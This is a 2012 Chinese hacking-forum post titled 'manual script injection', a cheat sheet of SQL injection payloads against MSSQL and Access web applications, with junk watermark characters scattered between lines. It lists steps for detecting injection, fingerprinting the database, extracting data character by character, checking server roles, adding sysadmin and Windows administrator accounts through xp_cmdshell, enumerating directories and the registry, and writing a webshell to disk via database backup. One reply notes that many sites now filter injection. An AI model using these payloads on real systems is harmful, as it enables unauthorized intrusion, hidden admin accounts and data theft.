找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
* K# g9 u* U" L' r  K- C; c1.判断是否有注入;and 1=1 ;and 1=2   C9 Q8 Z5 A$ |- `. w; c

' V# H$ Q! a' U2 U7 w: g2.初步判断是否是mssql ;and user>0 # B/ P% L% q, Y7 l
0 w& V+ w- n2 t1 _
3.注入参数是字符'and [查询条件] and ''='
: Q. P- ~3 x& F; A- j$ h& B7 \- W# f; J+ P
4.搜索时没过滤参数的'and [查询条件] and '%25'=' * \" i# S7 i& }
; m2 `* R1 }* G
5.判断数据库系统
- z* J5 S, U8 O) C;and (select count(*) from sysobjects)>0 mssql ! a" B$ U  Y8 x
;and (select count(*) from msysobjects)>0 access % X  M, Q/ i4 O' `5 C
9 o1 L  z& h& l* N. u9 @
6.猜数据库 ;and (select Count(*) from [数据库名])>0
' ]' l5 A/ U9 \5 S1 g6 c6 I
. g6 X/ ]( e( {+ K7.猜字段 ;and (select Count(字段名) from 数据库名)>0
3 F( C* _/ h  E) Y& F& G: }3 G% M4 w, u
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 . v) t. C6 k. d# R% [4 I

4 a# v: T7 {* [8 d( ?7 B, c9.(1)猜字段的ascii值(access)
1 Z+ V. b' t8 d1 @;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 7 \9 k  Y+ e- {' }  @1 \
, i" ]  c% G8 U7 H. N- e9 W$ o
(2)猜字段的ascii值(mssql)
: _# {9 k! p) ~;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1 `" E/ r! w) Z' ]4 N7 e3 S
$ |8 m3 G% _/ W
10.测试权限结构(mssql)
2 U8 W& F4 k! F! n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ( w" d. |/ B4 @- C! s1 r: d% h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 a+ @: |; {& L5 y4 M, E7 t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- / a" P8 G9 u0 _. d; {' h
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, t$ u$ l, C) d# m8 V$ V2 H; F;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 R3 L. f& L# Q$ O7 T;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. n4 n$ O6 F( E) H- \;and 1=(select IS_MEMBER('db_owner'));--
, n: {! z+ t5 q+ t; D
1 z/ X, s  O3 e! ^4 {11.添加mssql和系统的帐户 * Q) }& ~3 L. ?; Y+ Z9 J% D# T
;exec master.dbo.sp_addlogin username;-- " i0 F5 \' h3 ?3 Q

- Y+ D2 \9 ~+ U8 T) N;exec master.dbo.sp_password null,username,password;-- 4 d2 w% p: G8 R/ n- a3 y- Y
# e5 Z( h1 O' c- i1 j9 L  [
;exec master.dbo.sp_addsrvrolemember sysadmin username;--   S2 Z2 d$ ^' d1 @. Q
0 b$ @, H9 S! h% S: c" D; K5 H
;exec master.dbo.xp_cmdshell 'net user username password
% t7 ?, G: R( w' e7 {5 m. L0 S/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 8 Y. K. d! s* ?# C- O

1 I( n: W9 q: d* U( t;exec master.dbo.xp_cmdshell 'net user username password /add';--
. ?: A9 P% m* L" {( @0 `' b6 y$ K
0 z5 p; K+ y4 |8 n: X# y% o% ^( Y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 i* G9 E3 ^! n8 B4 e' `: f* }8 a" S, j" o0 \5 p9 C
12.(1)遍历目录 / I# p, X  |8 v+ ^7 X( z9 M) e
: }  I( g* _8 }$ w7 G
;create table dirs(paths varchar(100), id int)
  }+ k8 K7 r) {) b;insert dirs exec master.dbo.xp_dirtree 'c:\' 8 i- }; c& a0 z- \$ E8 O. s6 ]7 E8 y
;and (select top 1 paths from dirs)>0
& M- ^2 {6 q6 Q* W) s;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) + O2 Y% s+ h$ `) y; R

& M  k/ [5 W2 k, v- G: f(2)遍历目录 6 A. C- S5 B8 H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ A. B- O4 q) V+ x; v* p8 @" S8 u;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ' P& F9 {" L+ m7 H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
9 k1 g! ^: p3 [0 `/ A+ p4 F4 D1 p% U;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 - p3 V/ w! n  n) ~
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , V+ Q  a. \/ ]/ B0 W6 E
: |0 ^* |% \0 k! I
13.mssql中的存储过程
: v% A# h! G( E9 H. E4 ~- x8 o% O4 ^3 g! j! I* I1 [
xp_regenumvalues 注册表根键, 子键 $ R0 U4 G# w* P/ [
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
1 U: L5 s3 v' @. s7 ?* l  ~. k9 k. B8 _( Y
xp_regread 根键,子键,键值名
0 g- w/ }$ z* v7 p& @  }6 X;exec xp_regread
: ?$ i5 r& ?" i* g+ ]# f4 y'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ) `3 O7 U  G5 M6 ]# Z5 P  z1 s2 y

$ e, y' |9 B1 q' A) Vxp_regwrite 根键,子键, 值名, 值类型, 值 , U- B7 ]( A; p% q. H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
( W! |& j# D/ b" @0 V7 u;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6 _1 H* t- m7 z

- \2 N  }( Y% C4 r/ q- qxp_regdeletevalue 根键,子键,值名
0 }6 v/ w! q! }/ }' [% f7 y) V4 y. K
* X1 T$ t3 `! u, L! V+ a, iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
# D  B& x" R  l: `- z3 g1 u
9 ]9 y7 F8 n) Q( y" Z! uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
( I6 B1 ~6 W0 U% A
; m' t( d" S: }5 e7 x: T14.mssql的backup创建webshell 7 ~" y; u6 P& n. Q
use model ; w" \7 W+ T+ j: C1 S6 H! {" ^( n
create table cmd(str image); " P: ?' f& g% x% R* I8 F
insert into cmd(str) values ('');
, P' M. h4 W# k% h0 `4 z8 Rbackup database model to disk='c:\l.asp'; 3 J7 R/ b2 L0 m4 b5 s* k
" S. M6 C$ j6 e% O5 y  P
15.mssql内置函数
: j5 Q: z* v/ u;and (select @@version)>0 获得Windows的版本号
5 i: K* U" ~2 D+ W;and user_name()='dbo' 判断当前系统的连接用户是不是sa , ~$ B& t$ J' H
;and (select user_name())>0 爆当前系统的连接用户
: `  H( g1 x, m;and (select db_name())>0 得到当前连接的数据库 3 J$ a0 H! I  x. N' x
6 k$ v7 P8 B8 j: P
16.简洁的webshell
: t; z( b6 T. b# c0 [
8 b2 |. c1 Q& T( j- g7 W; uuse model 8 n8 i1 b3 C' \9 g. G

4 a; C" E2 e0 B6 q- hcreate table cmd(str image);
  A4 G; H/ U+ a( q% `' |8 R- V* H: J
insert into cmd(str) values (''); ; n' ?9 `% H& [) v0 P& l8 S* F

. c' T" S8 t- H  ibackup database model to disk='g:\wwwtest\l.asp'; : `  t' Q7 X, I, `$ d+ y
& ~9 F, e. S. s; M+ G2 M
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表